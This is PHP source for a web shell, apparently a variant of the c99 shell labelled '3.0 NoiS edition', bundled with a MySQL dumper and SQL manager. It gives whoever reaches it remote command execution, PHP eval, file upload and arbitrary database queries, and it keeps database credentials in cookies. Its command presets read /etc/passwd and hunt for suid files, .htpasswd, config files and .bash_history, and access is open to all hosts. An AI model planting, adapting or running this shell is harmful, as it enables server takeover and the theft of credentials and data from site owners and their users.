return <<<HTML
<FIELDSET>
<LEGEND>Ошибка при подключении к БД</LEGEND>
<TABLE WIDTH=100% BORDER=0 CELLSPACING=0 CELLPADDING=2>
<TR>
<TD ALIGN=center>{$error}</TD>
</TR>
</TABLE>
</FIELDSET>
HTML;
}
function SXD_errorHandler($errno, $errmsg, $filename, $linenum, $vars) {
if ($errno == 2048) return true;
if (preg_match("/chmod\(\).*?: Operation not permitted/", $errmsg)) return true;
$dt = date("Y.m.d H:i:s");
$errmsg = addslashes($errmsg);
echo tpl_l("{$dt}<BR><B>Возникла ошибка!</B>", C_ERROR);
echo tpl_l("{$errmsg} ({$errno})", C_ERROR);
echo tpl_enableBack();
die();
}
$is_safe_mode = ini_get('safe_mode') == '1' ? 1 : 0;
if (!$is_safe_mode && function_exists('set_time_limit')) set_time_limit(TIME_LIMIT);
header("Expires: Tue, 1 Jul 2003 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Pragma: no-cache");
$timer = array_sum(explode(' ', microtime()));
ob_implicit_flush();
error_reporting(E_ALL);
$auth = 0;
$error = '';
if (@trim($_POST['server'])=='') {@$ipodb='localhost';} else {@$ipodb=trim($_POST['server']);}
@$servak=$ipodb.':3306';
if (!empty($_POST['login']) && isset($_POST['pass'])) {
if (@mysql_connect($servak, $_POST['login'], $_POST['pass'])){
setcookie("sxd", base64_encode("SKD101:{$_POST['login']}:{$_POST['pass']}:{$servak}"));
mysql_close();
if (@mysql_connect($servak, $_POST['login'], $_POST['pass'])){
$auth = 1;
}
else{
$error = '#' . mysql_errno() . ': ' . mysql_error();
}
}
else{
$error = '#' . mysql_errno() . ': ' . mysql_error();
}
}
elseif (!empty($_COOKIE['sxd'])) {
$user = explode(":", base64_decode($_COOKIE['sxd']));
if (@mysql_connect($user[3], $user[1], $user[2])){
$auth = 1;
}
else{
$error = '#' . mysql_errno() . ': ' . mysql_error();
}
}
if (!$auth || (isset($_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING'] == 'reload') or @$_POST['out']=='ok') {
setcookie("sxd");
echo tpl_page(tpl_auth($error ? tpl_error($error) : ''), "<SCRIPT>if (jsEnabled) {document.write('<INPUT TYPE=submit VALUE=Применить>');}</SCRIPT>");
echo "<SCRIPT>document.getElementById('timer').innerHTML = '" . round(array_sum(explode(' ', microtime())) - $timer, 4) . " сек.'</SCRIPT>";
exit;
}
$SK = new dumper();
define('C_DEFAULT', 1);
define('C_RESULT', 2);
define('C_ERROR', 3);
define('C_WARNING', 4);
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : '';
switch($action){
case 'backup':
$SK->backup();
break;
case 'restore':
$SK->restore();
break;
default:
$SK->main();
}
mysql_close();
echo "<SCRIPT>document.getElementById('timer').innerHTML = '" . round(array_sum(explode(' ', microtime())) - $timer, 4) . " сек.'</SCRIPT>";
}elseif($_POST['scr']=='sqlman' or $_GET['scr']=='sqlman') {
?>
<title>SQL-manager</title>
<style type="text/css">
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
a {color: #00f;text-decoration:underline;}
a:hover{color: #f00;text-decoration:none;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
</style>
<script type="text/javascript">
function CheckAll(form) {
for(var i=0;i<form.elements.length;i++) {
var e = form.elements[i];
if (e.name != 'chkall')
e.checked = form.chkall.checked;
}
}
function $(id) {
return document.getElementById(id);
}
function goaction(act){
$('goaction').action.value=act;
$('goaction').submit();
}
</script>
<script type="text/javascript">
function editrecord(action, base64, tablename){
if (action == 'del') {
if (!confirm('Is or isn\'t deletion record?')) return;
}
$('recordlist').doing.value=action;
$('recordlist').base64.value=base64;
$('recordlist').tablename.value=tablename;
$('recordlist').submit();
}
function moddbname(dbname) {
if(!dbname) return;
$('setdbname').dbname.value=dbname;
$('setdbname').submit();
}
function settable(tablename,doing,page) {
if(!tablename) return;
if (doing) {
$('settable').doing.value=doing;
}
if (page) {
$('settable').page.value=page;
}
$('settable').tablename.value=tablename;
$('settable').submit();
}
</script>
<?
function m($msg) {
echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
echo $msg;
echo '</div>';
}
function html_clean($content) {
$content = htmlspecialchars($content);
$content = str_replace("\n", "<br />", $content);
$content = str_replace(" ", " ", $content);
$content = str_replace("\t", " ", $content);
return $content;
}
function bg() {
global $bgc;
return ($bgc++%2==0) ? 'alt1' : 'alt2';
}
function sizecount($size) {
if($size > 1073741824) {
$size = round($size / 1073741824 * 100) / 100 . ' G';
} elseif($size > 1048576) {
$size = round($size / 1048576 * 100) / 100 . ' M';
} elseif($size > 1024) {
$size = round($size / 1024 * 100) / 100 . ' K';
} else {
$size = $size . ' B';
}
return $size;
}
function qy($sql) {
$res = $error = '';
if(!$res = @mysql_query($sql)) {
return 0;
} else if(is_resource($res)) {
return 1;
} else {
return 2;
}
return 0;
}
function p($str){
echo $str."\n";
}
function formfoot(){
p('<INPUT TYPE=hidden NAME=scr VALUE=sqlman></form>');
}
function makeinput($arg = array()){
$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
!$arg['type'] && $arg['type'] = 'text';
$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
if ($arg['newline']) {
p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
} else {
p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
}
}
function makehide($name,$value=''){
p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}
function makeselect($arg = array()){
if ($arg['onchange']) {
$onchange = 'onchange="'.$arg['onchange'].'"';
}
$arg['title'] = $arg['title'] ? $arg['title'] : '';
if ($arg['newline']) p('<p>');
p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
if (is_array($arg['option'])) {
foreach ($arg['option'] as $key=>$value) {
if ($arg['selected']==$key) {
p("<option value=\"$key\" selected>$value</option>");
} else {
p("<option value=\"$key\">$value</option>");
}
}
}
p("</select>");
if ($arg['newline']) p('</p>');
}
function tbhead() {
p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
}
function tbfoot(){
p('</table>');
}
function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
p('<h2>Can not connect to MySQL server</h2>');
exit;
}
if($link && $dbname) {
if (!@mysql_select_db($dbname, $link)) {
p('<h2>Database selected has error</h2>');
exit;
}
}
if($link && mysql_get_server_info() > '4.1') {
if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
}
}
return $link;
}
function q($sql) {
return @mysql_query($sql);
}
function fr($qy){
mysql_free_result($qy);
}
function formhead($arg = array()) {
!$arg['method'] && $arg['method'] = 'post';
!$arg['action'] && $arg['action'] = $self;
$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
!$arg['name'] && $arg['name'] = 'form1';
p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
if ($arg['title']) {
p('<h2>'.$arg['title'].' »</h2>');
}
}
function multi($num, $perpage, $curpage, $tablename) {
$multipage = '';
if($num > $perpage) {
$page = 10;
$offset = 5;
$pages = @ceil($num / $perpage);
if($page > $pages) {
$from = 1;
$to = $pages;
} else {
$from = $curpage - $offset;
$to = $curpage + $page - $offset - 1;
if($from < 1) {
$to = $curpage + 1 - $from;
$from = 1;
if(($to - $from) < $page && ($to - $from) < $pages) {
$to = $page;
}
} elseif($to > $pages) {
$from = $curpage - $pages + $to;
$to = $pages;
if(($to - $from) < $page && ($to - $from) < $pages) {
$from = $pages - $page + 1;
}
}
}
$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
for($i = $from; $i <= $to; $i++) {
$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
}
$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
}
return $multipage;
}
if ($action == 'sqladmin' or $action == '') {
!$dbhost && $dbhost = $_COOKIE['dbhost'];
!$dbhost && !$_COOKIE['dbhost'] && $dbhost = 'localhost';
!$dbport && $dbport = '3306';
!$dbuser && $dbuser = $_COOKIE['dbuser'];
!$dbpass && $dbpass = $_COOKIE['dbpass'];
$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
if(isset($dbhost)){
$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
}
if(isset($dbuser)) {
$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
}
if(isset($dbpass)) {
$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
}
if(isset($dbport)) {
$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
}
if(isset($dbname)) {
$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
}
if(isset($charset)) {
$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
}
if ($doing == 'backupmysql' && $saveasfile) {
if (!$table) {
m('Please choose the table');
} else {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
$table = array_flip($table);
$fp = @fopen($path,'w');
if ($fp) {
$result = q('SHOW tables');
if (!$result) p('<h2>'.mysql_error().'</h2>');
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
sqldumptable($currow[0], $fp);
}
}
fclose($fp);
$fileurl = str_replace(SA_ROOT,'',$path);
m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
mysql_close();
} else {
m('Backup failed');
}
}
}
if ($insert && $insertsql) {
$keystr = $valstr = $tmp = '';
foreach($insertsql as $key => $val) {
if ($val) {
$keystr .= $tmp.$key;
$valstr .= $tmp."'".addslashes($val)."'";
$tmp = ',';
}
}
if ($keystr && $valstr) {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
}
}
if ($update && $insertsql && $base64) {
$valstr = $tmp = '';
foreach($insertsql as $key => $val) {
$valstr .= $tmp.$key."='".addslashes($val)."'";
$tmp = ',';
}
if ($valstr) {
$where = base64_decode($base64);
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
}
}
if ($doing == 'del' && $base64) {
$where = base64_decode($base64);
$delete_sql = "DELETE FROM $tablename WHERE $where";
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
}
if ($tablename && $doing == 'drop') {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
if (q("DROP TABLE $tablename")) {
m('Drop table of success');
$tablename = '';
} else {
m(mysql_error());
}
}
$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
formhead(array('title'=>'MYSQL Manager'));
makehide('action','sqladmin');
p('<p>');
p('DBHost:');
makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
p(':');
makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
p('DBUser:');
makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
p('DBPass:');
makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
p('DBCharset:');
makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
p('</p>');
formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
if (action == 'del') {
if (!confirm('Is or isn\'t deletion record?')) return;
}
$('recordlist').doing.value=action;
$('recordlist').base64.value=base64;
$('recordlist').tablename.value=tablename;
$('recordlist').submit();
}
function moddbname(dbname) {
if(!dbname) return;
$('setdbname').dbname.value=dbname;
$('setdbname').submit();
}
function settable(tablename,doing,page) {
if(!tablename) return;
if (doing) {
$('settable').doing.value=doing;
}
if (page) {
$('settable').page.value=page;
}
$('settable').tablename.value=tablename;
$('settable').submit();
}
</script>
<?php
formhead(array('name'=>'recordlist'));
makehide('doing');
makehide('action','sqladmin');
makehide('base64');
makehide('tablename');
p($dbform);
formfoot();
formhead(array('name'=>'setdbname'));
makehide('action','sqladmin');
p($dbform);
if (!$dbname) {
makehide('dbname');
}
formfoot();
formhead(array('name'=>'settable'));
makehide('action','sqladmin');
p($dbform);
makehide('tablename');
makehide('page',$page);
makehide('doing');
formfoot();
$cachetables = array();
$pagenum = 30;
$page = intval($page);
if($page) {
$start_limit = ($page - 1) * $pagenum;
} else {
$start_limit = 0;
$page = 1;
}
if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
gocookie('dbhost',$dbhost);
gocookie('dbuser',$dbuser);
gocookie('dbpass',$dbpass);
$mysqlver = mysql_get_server_info();
p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
$highver = $mysqlver > '4.1' ? 1 : 0;
//»сИЎКэѕЭїв
$query = q("SHOW DATABASES");
$dbs = array();
$dbs[] = '-- Select a database --';
while($db = mysql_fetch_array($query)) {
$dbs[$db['Database']] = $db['Database'];
}
makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
$tabledb = array();
if ($dbname) {
p('<p>');
p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
if ($tablename) {
p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
}
p('</p>');
mysql_select_db($dbname);
$getnumsql = '';
$runquery = 0;
if ($sql_query) {
$runquery = 1;
}
$allowedit = 0;
if ($tablename && !$sql_query) {
$sql_query = "SELECT * FROM $tablename";
$getnumsql = $sql_query;
$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
$allowedit = 1;
}
p('<form action="'.$self.'" method="POST">');
p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
makehide('tablename', $tablename);
makehide('action','sqladmin');
p($dbform);
p('<INPUT TYPE=hidden NAME=scr VALUE=sqlman></form>');
if ($tablename || ($runquery && $sql_query)) {
if ($doing == 'structure') {
$result = q("SHOW COLUMNS FROM $tablename");
$rowdb = array();
while($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
p('<table border="0" cellpadding="3" cellspacing="0">');
p('<tr class="head">');
p('<td>Field</td>');
p('<td>Type</td>');
p('<td>Null</td>');
p('<td>Key</td>');
p('<td>Default</td>');
p('<td>Extra</td>');
p('</tr>');
foreach ($rowdb as $row) {
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
p('<td>'.$row['Field'].'</td>');
p('<td>'.$row['Type'].'</td>');
p('<td>'.$row['Null'].' </td>');
p('<td>'.$row['Key'].' </td>');
p('<td>'.$row['Default'].' </td>');
p('<td>'.$row['Extra'].' </td>');
p('</tr>');
}
tbfoot();
} elseif ($doing == 'insert' || $doing == 'edit') {
$result = q('SHOW COLUMNS FROM '.$tablename);
while ($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
$rs = array();
if ($doing == 'insert') {
p('<h2>Insert new line in '.$tablename.' table »</h2>');
} else {
p('<h2>Update record in '.$tablename.' table »</h2>');
$where = base64_decode($base64);
$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
$rs = mysql_fetch_array($result);
}
p('<form method="post" action="'.$self.'">');
p($dbform);
makehide('action','sqladmin');
makehide('tablename',$tablename);
p('<table border="0" cellpadding="3" cellspacing="0">');
foreach ($rowdb as $row) {
if ($rs[$row['Field']]) {
$value = htmlspecialchars($rs[$row['Field']]);
} else {
$value = '';
}
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
}
if ($doing == 'insert') {
p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
} else {
p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
makehide('base64', $base64);
}
p('</table><INPUT TYPE=hidden NAME=scr VALUE=sqlman></form>');
} else {
$querys = @explode(';',$sql_query);
foreach($querys as $num=>$query) {
if ($query) {
p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
switch(qy($query))
{
case 0:
p('<h2>Error : '.mysql_error().'</h2>');
break;
case 1:
if (strtolower(substr($query,0,13)) == 'select * from') {
$allowedit = 1;
}
if ($getnumsql) {
$tatol = mysql_num_rows(q($getnumsql));
$multipage = multi($tatol, $pagenum, $page, $tablename);
}
if (!$tablename) {
$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
$tablename = $matches[1][0];
}
$result = q($query);
p($multipage);
p('<table border="0" cellpadding="3" cellspacing="0">');
p('<tr class="head">');
if ($allowedit) p('<td>Action</td>');
$fieldnum = @mysql_num_fields($result);
for($i=0;$i<$fieldnum;$i++){
$name = @mysql_field_name($result, $i);
$type = @mysql_field_type($result, $i);
$len = @mysql_field_len($result, $i);
p("<td nowrap>$name<br><span>$type($len)</span></td>");
}
p('</tr>');
while($mn = @mysql_fetch_assoc($result)){
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
$where = $tmp = $b1 = '';
foreach($mn as $key=>$inside){
if ($inside) {
$where .= $tmp.$key."='".addslashes($inside)."'";
$tmp = ' AND ';
}
$b1 .= '<td nowrap>'.html_clean($inside).' </td>';
}
$where = base64_encode($where);
if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
p($b1);
p('</tr>');
unset($b1);
}
tbfoot();
p($multipage);
break;
case 2:
$ar = mysql_affected_rows();
p('<h2>affected rows : <b>'.$ar.'</b></h2>');
break;
}
}
}
}
} else {
$query = q("SHOW TABLE STATUS");
$table_num = $table_rows = $data_size = 0;
$tabledb = array();
while($table = mysql_fetch_array($query)) {
$data_size = $data_size + $table['Data_length'];
$table_rows = $table_rows + $table['Rows'];
$table['Data_length'] = sizecount($table['Data_length']);
$table_num++;
$tabledb[] = $table;
}
$data_size = sizecount($data_size);
unset($table);
p('<table border="0" cellpadding="0" cellspacing="0">');
p('<form action="'.$self.'" method="POST">');
makehide('action','sqladmin');
p($dbform);
p('<tr class="head">');
p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
p('<td>Name</td>');
p('<td>Rows</td>');
p('<td>Data_length</td>');
p('<td>Create_time</td>');
p('<td>Update_time</td>');
if ($highver) {
p('<td>Engine</td>');
p('<td>Collation</td>');
}
p('</tr>');
foreach ($tabledb as $key => $table) {
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
p('<td>'.$table['Rows'].'</td>');
p('<td>'.$table['Data_length'].'</td>');
p('<td>'.$table['Create_time'].'</td>');
p('<td>'.$table['Update_time'].'</td>');
if ($highver) {
p('<td>'.$table['Engine'].'</td>');
p('<td>'.$table['Collation'].'</td>');
}
p('</tr>');
}
p('<tr class='.bg().'>');
p('<td> </td>');
p('<td>Total tables: '.$table_num.'</td>');
p('<td>'.$table_rows.'</td>');
p('<td>'.$data_size.'</td>');
p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
p('</tr>');
p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><br/></td></tr>");
formfoot();
p("</table>");
fr($query);
}
}
}
tbfoot();
@mysql_close();
}
}
else {
$win = strtolower(substr(PHP_OS,0,3)) == "win";
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
$shver = "3.0 NoiS edition";
if (empty($surl))
{
$surl = $_SERVER['PHP_SELF'];
}
$surl = htmlspecialchars($surl);
$timelimit = 0;
$host_allow = array("*");
$login_txt = "Admin area";
$accessdeniedmess = "<a href=\"#\">Shell v.".$shver."</a>: access denied";
$gzipencode = TRUE;
$c99sh_sourcesurl = "";
$filestealth = TRUE;
$donated_html = "<center><b>Owned by root</b></center>";
$donated_act = array("");
$curdir = "./";
$tmpdir = "";
$tmpdir_log = "./";
$log_email = "";
$sort_default = "0a";
$sort_save = TRUE;
$ftypes = array(
"html"=>array("html","htm","shtml"),
"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess","tpl","jpq"),
"exe"=>array("sh","install","bat","cmd"),
"ini"=>array("ini","inf"),
"code"=>array("php","phtml","php3","php4","php5","inc","tcl","h","c","cpp","py","cgi","pl"),
"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg","flv","swf"),
"sdb"=>array("sdb"),
"phpsess"=>array("sess"),
"download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
$exeftypes = array(
getenv("PHPRC")." -q %f%" => array("php","php3","php4","php5"),
"perl %f%" => array("pl","cgi")
);
$regxp_highlight = array(
array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"),
array("config.php",1)
);
$safemode_diskettes = array("a");
$hexdump_lines = 8;
$hexdump_rows = 24;
$nixpwdperpage = 100;
if (!$win)
{
if ($d==''){$d2 =dirname( __FILE__ ).'/';} else {$d2=$d;}
$cmdaliases = array(
array("-----------------------------------------------------------", "ls -la"),
array("cat /etc/passwd", "cat /etc/passwd"),
array("cat /etc/named.conf", "cat /etc/named.conf"),
array("ls -al /var/named/", "ls -al /var/named/"),
array("du -hsx /this_path/", "du -hsx ".urldecode($d2)),
array("tar cvpjf go.tar.bz2 /this_path/", "tar cvpjf go.tar.bz2 ".urldecode($d2)),
array("Find Apache files", "find .. -group nobody -ls;find .. -group apache -ls;"),
array("Find 0777 files", "find . -perm 0777 -ls;"),
array("Compilation Shell", "cc -o a.so -fPIC -shared a.c"),
array("show opened ports", "netstat -an | grep -i listen"),
array("find all suid files", "find / -type f -perm -04000 -ls"),
array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
array("find all sgid files", "find / -type f -perm -02000 -ls"),
array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
array("find config.inc.php files", "find / -type f -name config.inc.php"),
array("find config* files", "find / -type f -name \"config*\""),
array("find config* files in current dir", "find . -type f -name \"config*\""),
array("find all service.pwd files", "find / -type f -name service.pwd"),
array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
array("find all .htpasswd files", "find / -type f -name .htpasswd"),
array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
array("find all .bash_history files", "find / -type f -name .bash_history"),
array("find .bash_history files in current dir", "find . -type f -name .bash_history")
);
}
else
{
$cmdaliases = array(
array("-----------------------------------------------------------", "dir"),
array("show opened ports", "netstat -an")
);
}
$sess_cookie = "c99shvars";
$usefsbuff = TRUE;
$copy_unset = FALSE;
$quicklaunch = array(
array("<b><hr>HOME</b>",$surl),
array("<b><=</b>","#\" onclick=\"history.back(1)"),
array("<b>=></b>","#\" onclick=\"history.go(1)"),
array("<b>Upload</b>","#\" onclick=\"document.todo.act.value='upload';document.todo.d.value='%d';document.todo.submit();"),
array("<b>Exec</b>","#\" onclick=\"document.todo.act.value='cmd';document.todo.d.value='%d';document.todo.submit();"),
array("<b>Search</b>","#\" onclick=\"document.todo.act.value='search';document.todo.d.value='%d';document.todo.submit();"),
array("<b>Tools</b>","#\" onclick=\"document.todo.act.value='tools';document.todo.d.value='%d';document.todo.submit();"),
array("<b>SQL</b>","#\" onclick=\"showmod('sqlman');"),
array("<b>Mysql Dumper</b>","#\" onclick=\"showmod('bak');"),
array("<b>PHP-code</b>","#\" onclick=\"document.todo.act.value='eval';document.todo.d.value='%d';document.todo.submit();"),
array("<b>Remove</b>","#\" onclick=\"document.todo.act.value='selfremove';document.todo.submit();"),
array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) document.todo.act.value='logout';document.todo.submit();")
);
if($_COOKIE['fsafem']!=''){
$quicklaunch[4]=array("<b>Exec[Safe Mod]</b>","#\" onclick=\"document.todo.act.value='cmdsafem';document.todo.d.value='%d';document.todo.submit();");
}
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
@$f = $_REQUEST["f"];
@extract($_REQUEST["c99shcook"]);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"#\">Shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
if (isset($_POST['act'])) $act = $_POST['act'];
if (isset($_POST['d'])) $d = urldecode($_POST['d']);
if (isset($_POST['sort'])) $sort = $_POST['sort'];
if (isset($_POST['f'])) $f = $_POST['f'];
if (isset($_POST['ft'])) $ft = $_POST['ft'];
if (isset($_POST['grep'])) $grep = $_POST['grep'];
if (isset($_POST['processes_sort'])) $processes_sort = $_POST['processes_sort'];
if (isset($_POST['pid'])) $pid = $_POST['pid'];
if (isset($_POST['sig'])) $sig = $_POST['sig'];
